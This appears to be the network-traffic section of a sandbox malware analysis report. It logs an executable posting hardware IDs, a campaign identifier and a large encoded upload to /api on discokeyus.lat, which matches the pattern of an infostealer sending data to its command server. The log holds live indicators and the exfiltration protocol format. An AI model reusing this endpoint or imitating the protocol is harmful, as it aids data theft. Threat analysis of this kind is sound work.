2024-12-20 16:29:25 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BNX7OJB86OQJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20543 Host: discokeyus.lat
2024-12-20 16:29:26 UTC	15331	OUT	Data Raw: 2d 2d 42 4e 58 37 4f 4a 42 38 36 4f 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 30 35 43 39 45 31 43 39 45 43 30 45 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 4e 58 37 4f 4a 42 38 36 4f 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 4e 58 37 4f 4a 42 38 36 4f 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 42 4e 58 37 4f 4a 42 38 36 4f 51 4a 0d 0a Data Ascii: --BNX7OJB86OQJContent-Disposition: form-data; name="hwid"6805C9E1C9EC0EB7AC8923850305D13E--BNX7OJB86OQJContent-Disposition: form-data; name="pid"3--BNX7OJB86OQJContent-Disposition: form-data; name="lid"PsFKDg--pablo--BNX7OJB86OQJ
2024-12-20 16:29:26 UTC	5212	OUT	Data Raw: 3f 3a 9e b9 75 bf a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 fa a3 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?:us}Q0u?4E([:s~X`nO
2024-12-20 16:29:27 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rl8no40u3r3lrb1veh0p6uqbk0; expires=Tue, 15 Apr 2025 10:16:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o5WESSFkMuu8rTN2QDN8DB0QwvHicygK6TzTuvLFNOULR6D5HY4f2cdd0m07F3Cu2neyplcmeXJtl9asYW0T%2Bvs84%2B4Qq02C%2BiBTuvqXk24uSlx8yaPCOfb5Qubi4LxAmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5102de8f931795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1684&rtt_var=643&sent=21&recv=27&lost=0&retrans=0&sent_bytes=2832&recv_bytes=21497&delivery_rate=1687861&cwnd=172&unsent_bytes=0&cid=99d5b7ea5a569074&ts=1166&x=0"
2024-12-20 16:29:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:29:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49716	172.67.197.170	443	2000	C:\Users\user\Desktop\hBBxlxfQ3F.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:29:28 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0AR6V0T48N7DR6YSR8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1228 Host: discokeyus.lat
2024-12-20 16:29:28 UTC	1228	OUT	Data Raw: 2d 2d 30 41 52 36 56 30 54 34 38 4e 37 44 52 36 59 53 52 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 30 35 43 39 45 31 43 39 45 43 30 45 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 41 52 36 56 30 54 34 38 4e 37 44 52 36 59 53 52 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 41 52 36 56 30 54 34 38 4e 37 44 52 36 59 53 52 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --0AR6V0T48N7DR6YSR8Content-Disposition: form-data; name="hwid"6805C9E1C9EC0EB7AC8923850305D13E--0AR6V0T48N7DR6YSR8Content-Disposition: form-data; name="pid"1--0AR6V0T48N7DR6YSR8Content-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-20 16:29:29 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rm5cmg0vv9eeu4eofumjrbbhtt; expires=Tue, 15 Apr 2025 10:16:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3IgWFGDgr0ZHe3gqfTQnci29xsKm7uo9Hxa4gYQYzOSvklbD3P10k1v6%2FjJEMNpvDZVaLF5JsdWGevVeF%2BLYbUdTaAva2RbOkzKRRcG8XWqACqsrcwGW2WtglZDqxW%2Fw4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5102f00fbd7c81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1805&min_rtt=1805&rtt_var=902&sent=7&recv=9&lost=0&retrans=1&sent_bytes=4202&recv_bytes=2143&delivery_rate=306529&cwnd=240&unsent_bytes=0&cid=0628763a97254621&ts=804&x=0"
2024-12-20 16:29:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:29:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49717	172.67.197.170	443	2000	C:\Users\user\Desktop\hBBxlxfQ3F.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:29:31 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=52EZNJMVZP03EIEY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585933 Host: discokeyus.lat
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: 2d 2d 35 32 45 5a 4e 4a 4d 56 5a 50 30 33 45 49 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 30 35 43 39 45 31 43 39 45 43 30 45 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 32 45 5a 4e 4a 4d 56 5a 50 30 33 45 49 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 32 45 5a 4e 4a 4d 56 5a 50 30 33 45 49 45 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 35 32 Data Ascii: --52EZNJMVZP03EIEYContent-Disposition: form-data; name="hwid"6805C9E1C9EC0EB7AC8923850305D13E--52EZNJMVZP03EIEYContent-Disposition: form-data; name="pid"1--52EZNJMVZP03EIEYContent-Disposition: form-data; name="lid"PsFKDg--pablo--52
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: 15 04 52 7a 53 8f 0b 00 79 76 75 5b b1 42 65 d9 ae 4f 6d fd 05 4f b9 cf 6f 11 04 cc 4b 1f 9f 77 a9 56 c2 ae f8 b9 7f 95 c5 96 d3 8f 0b 93 00 c5 0a b3 da 68 86 f9 07 41 6d d4 01 ff 89 ac ac dd 62 4f 6a 24 dc f3 77 76 9f 93 7b b2 b5 9d 50 ca 46 75 55 7f a3 5c f8 53 53 dc 0d 81 6e 7f c8 3b 5d 73 6d e3 be f2 b9 f0 67 25 9d a2 ff 37 97 8b 51 20 e7 31 82 8c 64 22 18 bb 2f e7 ee 7c e7 01 5c 75 57 fe 6c a4 a5 09 0b 80 84 4d 51 f6 d4 86 95 71 ad 1b 52 c0 a6 0a a2 20 52 8c 07 9c b2 48 4b bc 8c 0d 27 77 43 b8 ee c7 ae e9 34 b1 88 85 35 15 3e 71 19 14 71 61 d4 90 70 df 4f a7 fe 67 10 d5 13 ab 6f d9 05 26 9b 9c 85 dd 01 96 93 d4 d5 14 ea c6 65 31 1a a2 ec 44 79 f1 9e 50 8e 54 c5 a4 09 87 52 27 ca c6 1d df 30 34 63 f5 77 e2 64 cd 0a bf 61 ce aa 67 35 fb 28 80 de a7 a1 Data Ascii: RzSyvu[BeOmOoKwVhAmbOj$wv{PFuU\SSn;]smg%7Q 1d"/\|\uWlMQqR RHK'wC45>qqapOgo&e1DyPTR'04cwdag5(
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: 5c 76 4b 5d d5 0d 32 b7 7c 63 62 87 f9 27 ac f2 bd 68 28 3b ca f3 d9 82 7e ec 6d d3 a7 fb b3 32 8e ec 90 74 ae 57 a7 28 99 b1 3f e3 70 02 3a 1c e5 51 fa d4 7c f9 b1 01 99 ac 55 73 e7 8c de b5 ae 2e a1 87 4d d7 1a 20 44 41 a8 e9 52 f3 25 13 27 c7 2a 3c d6 ed cc 1d cb 91 7e a1 7b 16 16 b9 cb ef d1 fb d0 94 14 41 d8 4c 0c c9 d3 1f 22 2d 4b 8d 0c 85 16 6f 4c ea fc b9 4d 15 3f cd 53 9f bf 78 d2 40 ba 03 a2 93 16 76 4a 0a a8 4f 00 e5 c0 71 7e 25 cc 5e 3e 73 e1 dc 9d f2 d1 3b 76 8b c7 6a 7f 95 2d 95 0e bb 7b 95 8d dd cb db dd b8 13 b2 70 b3 3d a8 ab 91 fa 49 12 c9 0e eb db 0a 9e 2d 75 68 d2 75 fc 1a 38 0e 95 ff f8 27 59 f7 b2 c5 af fa de 67 02 5d b6 6c 9f e3 c2 24 ea 27 20 40 8c ee 4c c7 53 99 a5 3a 2e 66 8d ff d5 f2 25 88 fa ac 43 5b 3a 6b ba 04 91 34 a7 f6 df Data Ascii: \vK]2\|cb'h(;~m2tW(?p:Q\|Us.M DAR%'*<~{AL"-KoLM?Sx@vJOq~%^>s;vj-{p=I-uhu8'Yg]l$' @LS:.f%C[:k4
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: 7c e9 30 e1 8a fa fa 8f 51 f9 86 84 16 98 9f 61 7f fd 7a 8c 91 80 d1 48 c6 4e d4 f6 42 6d 87 05 93 a0 41 a6 13 46 18 19 f5 bb 6e 20 70 09 cf db 17 b0 2d d4 76 3e 41 61 49 19 b7 a7 5f 89 ff 0c 35 bf d3 24 09 f2 3a d1 6f 11 1d 68 41 e4 07 07 bd cd 55 fa 2a 36 5b a8 72 ae 51 97 ed 4a f9 0f fc c2 68 4e b4 54 bf e2 da c7 0b 7e be cf b7 f3 15 be 22 35 2e a5 2c f0 8d 89 22 57 5c 4e ff 4a 35 08 ee 46 10 aa 79 16 d7 b9 0e 48 46 dd d6 cc 77 97 02 f7 bf b2 27 f4 71 d9 aa a2 4f 66 39 c9 fa b6 76 17 14 bb 02 37 89 ee dc 8b 98 d5 d9 b5 1f 08 2c 1f 03 36 fd ce dd 66 cd 9b 10 11 38 a1 f3 7d aa 8c 7a e7 4e b7 3e 42 50 f9 6f ab e2 39 86 da 20 f1 fb 2e 42 6d 56 e4 d2 63 7c 70 76 8d 88 86 47 ad ca 3f de 9b 96 10 71 ac ec 2e ac 3f 36 59 cc f9 a1 60 28 d9 d8 59 f0 76 88 00 78 Data Ascii: \|0QazHNBmAFn p-v>AaI_5$:ohAU*6[rQJhNT~"5.,"W\NJ5FyHFw'qOf9v7,6f8}zN>BPo9 .BmVc\|pvG?q.?6Y`(Yvx
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: bc 62 88 25 b0 72 c8 ae d1 51 ad 17 ed b5 13 68 64 aa 70 7d ab a0 fd 3a 7e 48 6b c5 f6 65 aa 6d 46 d4 62 44 4b b8 6a 5b 93 3e 41 1e 97 e3 da 57 50 52 cd cd b3 4b 0c 1c 84 59 57 22 43 ed bf be b5 79 c8 dd 89 3b ba 56 ef d7 6e 21 83 ad fe a1 76 3d 8d 7b 46 45 22 76 8a 0a b4 ec 24 9e 1f 62 b3 99 77 5a 4b 3a fe 23 61 c1 75 15 49 ac e0 31 dc 2f 46 21 55 30 47 90 ce c3 33 c6 dd f3 1c 2b 1e 7a 75 28 8d 90 32 33 c7 e0 6b 30 9d e7 df c3 f2 f7 87 4e 16 16 77 d2 cb f6 ca f1 d2 7e 3d a8 46 df b8 ef 90 d7 30 b7 a7 27 d1 cf 4a 5e 8f 17 64 6a 68 41 52 ab 67 31 57 95 9a 50 d1 b9 05 94 7b c8 56 5c 92 80 49 b4 56 f5 b6 4a aa 3d e3 ca 58 4e a3 6e 5c cc 9c 4a f9 d7 86 00 d1 83 dd 65 36 f5 dd 27 08 7c 40 f5 48 4f 88 66 56 04 2f e2 fc 9c a9 43 76 27 f3 c7 61 ac 71 6b 64 a0 90 Data Ascii: b%rQhdp}:~HkemFbDKj[>AWPRKYW"Cy;Vn!v={FE"v$bwZK:#auI1/F!U0G3+zu(23k0Nw~=F0'J^djhARg1WP{V\IVJ=XNn\Je6'\|@HOfV/Cv'aqkd
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: fa 9c e9 5f 65 95 5f 19 95 bb 7b 7c 00 ae 75 dd 07 6a 75 52 8d 54 ad b2 ed 8f e5 15 9b 1f bb 6b d4 93 52 2d d0 33 99 29 e7 0a 0e 11 e3 26 25 4a 39 d5 9b d1 02 60 e8 09 47 5a 14 cc b5 93 40 e4 c3 8f 17 48 54 6a 19 b8 2f ee 85 3a a3 8b 36 e8 cb ea b1 a3 5c 29 80 f1 82 b7 16 62 88 09 5c 07 04 af 18 ad 50 7e 6c dd 6c d7 e2 fd 4f da 98 db 66 ba 47 bf 80 81 67 d8 ab c5 98 a2 bf 2f 77 7f 9c b4 f9 e5 18 72 e4 d6 a5 c9 a3 2d 1d e3 0f ac 4b 8c 55 ea 6f 4d 17 77 3e 9f ed 0f 70 11 5a 7c 79 76 ef 2e 69 ba 28 17 b3 74 31 c9 1f ff 46 3d bf 44 d5 ef 04 cc 55 76 e8 5e 4a 43 fe d3 dd 5d ca 40 7a aa e9 ea ff 58 b8 05 a1 2b 51 74 f0 35 0c 7e 79 f3 5c ce e8 3f 8c 43 64 8a 89 4e 6a d2 a4 fc 7e 60 2e ef a4 62 17 b1 7d a4 53 70 a0 7c 9f 6a 67 7d 59 24 72 04 03 3d 95 0e df 0d bc Data Ascii: _e_{\|ujuRTkR-3)&%J9`GZ@HTj/:6\)b\P~llOfGg/wr-KUoMw>pZ\|yv.i(t1F=DUv^JC]@zX+Qt5~y\?CdNj~`.b}Sp\|jg}Y$r=
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: 95 f9 18 6d 96 fd 4f 7c 82 17 4e 08 26 4a 17 fd 96 e7 27 c8 6e d1 5e fd f7 08 a0 aa 19 bf 8c 5d 78 7d 80 d4 19 c7 e3 93 08 eb 87 53 e2 97 6f 18 67 18 07 8b 10 6e a4 87 a3 02 c9 48 89 47 9e a5 00 22 0f 98 8f 6d cd 67 33 3f 95 4b 20 f1 3f 83 e3 7f 86 fa ae 5c c1 8a bb 13 01 c4 e5 9d 07 71 cd 2e cf 18 d5 d4 d7 9e 0f 70 aa 7b 90 fd 63 cf 05 a0 c3 d0 61 e8 96 80 03 b5 16 cd 28 16 18 5f 6a 3d 42 a5 94 c7 04 89 d4 a8 31 4d 19 31 41 9a 63 b2 e1 15 56 10 d9 21 2c d0 2b 31 bd be 82 b8 79 58 36 27 28 c4 c8 9b 17 9c 61 87 fd 10 88 9d ae 12 b6 45 5c bf 50 38 09 80 9c 42 07 41 41 43 55 6b fa 0b 8d 1d e3 21 e9 5b de 4b 7b d3 6d 3b 5e f4 7e f2 ff 14 42 df d4 a0 ab 7b ad f9 2f 57 6d 68 9c f9 3d b9 7a 11 90 cf 7d f2 71 ca fc 1b 1a f8 11 e2 a0 38 c5 be 0b 0d 98 6a 94 16 1f Data Ascii: mO\|N&J'n^]x}SognHG"mg3?K ?\q.p{ca(_j=B1M1AcV!,+1yX6'(aE\P8BAACUk![K{m;^~B{/Wmh=z}q8j
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: ad 38 08 38 6f bc 7f 7d 18 b6 e0 4e 6d dc 9a f1 aa 43 8d 7d 93 58 7f 5e 95 aa ca 72 c2 bd 14 66 36 1e 42 e5 a7 70 22 ae cd 6c e0 d6 c2 a5 73 23 95 55 3f ca 09 fe 88 8e b3 86 11 dd 7f 97 8d 51 73 d3 aa 32 7c d3 f2 51 f5 a6 ef 79 5a 25 98 3a 07 a9 2c ed 82 c1 b0 2f 40 36 8c 90 dd e8 7d 97 d8 f3 5f c1 73 25 39 45 7f 14 10 1c f6 75 d4 89 55 98 61 8b f5 5d 14 c1 12 4c a0 45 bd be 9f 19 11 0d 89 31 26 fb 1d bc 05 b1 7f 08 26 b7 50 1d 81 83 37 7a e8 92 58 35 6c be d1 a9 4d 9f ed 7b 03 ab d2 15 5e 2a 08 52 8b e0 b8 80 51 3d ff 8e 3e 8b 70 77 83 a2 dd e9 93 54 f7 c0 f4 77 14 8b 34 66 8b dd a8 67 0c 6f be e4 fd fc 01 d8 9d 7f e4 58 16 df 83 c4 27 93 e6 7f 79 37 d7 a1 af 63 ab 3a 47 db 55 1b 8d 1d 22 2c 1e 47 67 c1 31 bc 68 51 d1 56 7e 91 e5 e4 6e 93 18 89 a4 6e 79 Data Ascii: 88o}NmC}X^rf6Bp"ls#U?Qs2\|QyZ%:,/@6}_s%9EuUa]LE1&&P7zX5lM{^*RQ=>pwTw4fgoX'y7c:GU",Gg1hQV~nny
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: f6 06 fc e2 0f 61 ea fe b8 13 d0 de 4a ca 50 7d b2 e8 8c 4c fd 58 40 93 5e ee 7f b9 8f 70 e8 02 16 57 a3 be ab ec 86 e4 2e 7f 24 98 d2 6c 14 4f 41 f2 dd 20 3a 21 8e 7e 34 08 ee df 91 08 13 ab da 89 bb 61 37 76 cb 01 47 5c f6 43 21 c6 ff bb aa c9 2f 06 ac fb eb 17 13 ab 74 31 47 05 32 fc 3b bc 51 6f 6c 2f a7 c2 83 cb 3d f9 0f f7 fd 1b 17 95 40 a9 30 9e 7f dc 37 55 1e 36 f3 bd f4 9e 2c 08 11 82 f9 78 9d 35 05 ae 18 ac a9 53 1a 95 d6 5f 45 de 89 bb 6d 02 c5 54 e7 76 3d 9b 18 b7 f3 f0 42 52 f4 41 5d 40 5c 8c 56 b0 47 29 6e 39 f1 f7 ae 87 f5 c0 bb 7f 32 74 2e 88 66 ad 46 f1 0d 6f b4 01 9d a1 a7 78 3d ef 88 14 08 79 b2 c2 57 59 0f 29 08 4a 54 6b c6 27 95 bc 5c 08 1d d6 1f 2f d0 15 76 c0 ca bc 89 28 c9 b4 be 92 47 e6 f3 3f b9 15 cf 50 2c 68 9b 14 ed 04 9a 74 7a Data Ascii: aJP}LX@^pW.$lOA :!~4a7vG\C!/t1G2;Qol/=@07U6,x5S_EmTv=BRA]@\VG)n92t.fFox=yWY)JTk'\/v(G?P,htz
2024-12-20 16:29:31 UTC	15331	OUT	Data Raw: 3b 1e 0d db de 5b af 67 15 b3 3e ed 2e bf 0a c7 64 d7 7c 95 c0 e3 e3 35 4b d6 8e 2b 58 5e 8b 8e 25 50 c6 0f 25 ac 2b 93 f0 1d d1 44 16 9a eb cb e4 e3 21 aa 36 1c 6c ae 0c 2b ac 52 84 48 09 84 44 80 b3 c2 d1 13 6a 74 e3 6d ea c3 e6 f8 96 73 3e 5f c8 eb 8a 80 12 ee 55 f9 b2 bc e5 c6 6c 86 0f 21 21 cd a3 21 26 79 31 cd 1b 6d 5d b9 1a 1c 4a 2b 16 87 7b f1 e1 f4 cb aa 23 22 d9 5f 15 b8 1e 18 cb b5 1f 85 ec 5a 5d 38 2f ba 34 c1 8a 1e 86 4b a1 ad 05 60 b4 87 5b 35 e5 bb c4 60 cc c9 dd 24 86 14 36 f1 9e 6c 48 55 e7 bc d1 5a 20 3d 8b fb 27 13 5a 96 62 35 6b 88 39 c3 d2 4a 4d 32 02 04 dc 2f 0f 60 64 30 a6 c9 8d 68 be 5c ba d0 83 b4 c8 52 e8 5c da d2 79 a4 fc 56 19 19 19 2d 37 c2 65 af 0c 7d 63 fd 6c 51 a5 45 c3 c1 b4 8a 96 96 4c fa f1 56 f4 13 77 23 7c c7 87 e0 5e Data Ascii: ;[g>.d\|5K+X^%P%+D!6l+RHDjtms>_Ul!!!&y1m]J+{#"_Z]8/4K`[5`$6lHUZ ='Zb5k9JM2/`d0h\R\yV-7e}clQELVw#\|^
2024-12-20 16:29:34 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rsm1kjv6vau0uemc46vgo1oh0l; expires=Tue, 15 Apr 2025 10:16:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eua70ili8sElE4oVOMXMItDQ676RzcZVB7GU4pMyMw5C7w2iKqcuaGI6OQuCexzMl%2B%2BPkcFRaaIkrEc4D3kf6GVPLUHvOiAOHOId9jAwk3lS2nZ5oZQJPC2WK0SRPfQb0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5103016a6c42b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2457&min_rtt=2451&rtt_var=931&sent=281&recv=610&lost=0&retrans=0&sent_bytes=2832&recv_bytes=588520&delivery_rate=1168000&cwnd=233&unsent_bytes=0&cid=b9f66fbb86b65bfb&ts=3406&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49718	172.67.197.170	443	2000	C:\Users\user\Desktop\hBBxlxfQ3F.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:29:36 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: discokeyus.lat
2024-12-20 16:29:36 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 36 38 30 35 43 39 45 31 43 39 45 43 30 45 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=6805C9E1C9EC0EB7AC8923850305D13E
2024-12-20 16:29:37 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2uva15dv9b1nkkvnjrqrf1itd4; expires=Tue, 15 Apr 2025 10:16:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gVbE%2Fk81rhtknzEBtm4KHPuoX2gMVyNBpH0WVmhm8ZIIIJvCt3JWtfbVFK46nZwJ9sEbQZfO9RDkmEbKr%2Bj2M%2FVuN2GJOOBwigIwlAbmgn5r%2B35tWSbWSh3X3%2FmHSCzdNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51031f5bc41821-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1742&min_rtt=1741&rtt_var=656&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=980&delivery_rate=1665715&cwnd=242&unsent_bytes=0&cid=9973fc7290d9a7fd&ts=763&x=0"
2024-12-20 16:29:37 UTC	214	IN	Data Raw: 64 30 0d 0a 65 37 6b 52 2f 6f 36 38 74 51 48 6b 56 69 33 50 5a 7a 4d 61 2b 48 51 4b 4a 61 30 38 7a 56 76 72 79 4b 65 2b 55 6f 6c 53 2f 70 63 67 77 6a 4f 4c 72 49 61 58 61 5a 41 69 58 66 55 37 48 45 62 58 52 54 49 51 67 77 37 38 62 73 58 35 6c 6f 31 38 75 47 53 69 75 42 54 66 64 36 4b 68 32 4e 42 6e 79 6a 4e 56 71 6b 55 66 4f 4a 34 41 4b 42 2b 64 45 4f 38 2b 79 66 4b 58 77 33 37 79 63 49 75 31 51 5a 74 35 69 76 72 4d 6a 31 33 4c 43 67 4c 2b 58 77 59 30 79 6b 55 2f 43 35 77 4e 2f 6e 58 61 2f 76 75 52 49 66 30 33 6e 2f 6f 6e 6c 6d 4f 66 34 4e 6a 61 62 4d 6f 7a 56 61 70 46 48 7a 69 65 41 43 67 66 6e 52 44 76 50 73 6e 79 6c 38 4d 50 0d 0a Data Ascii: 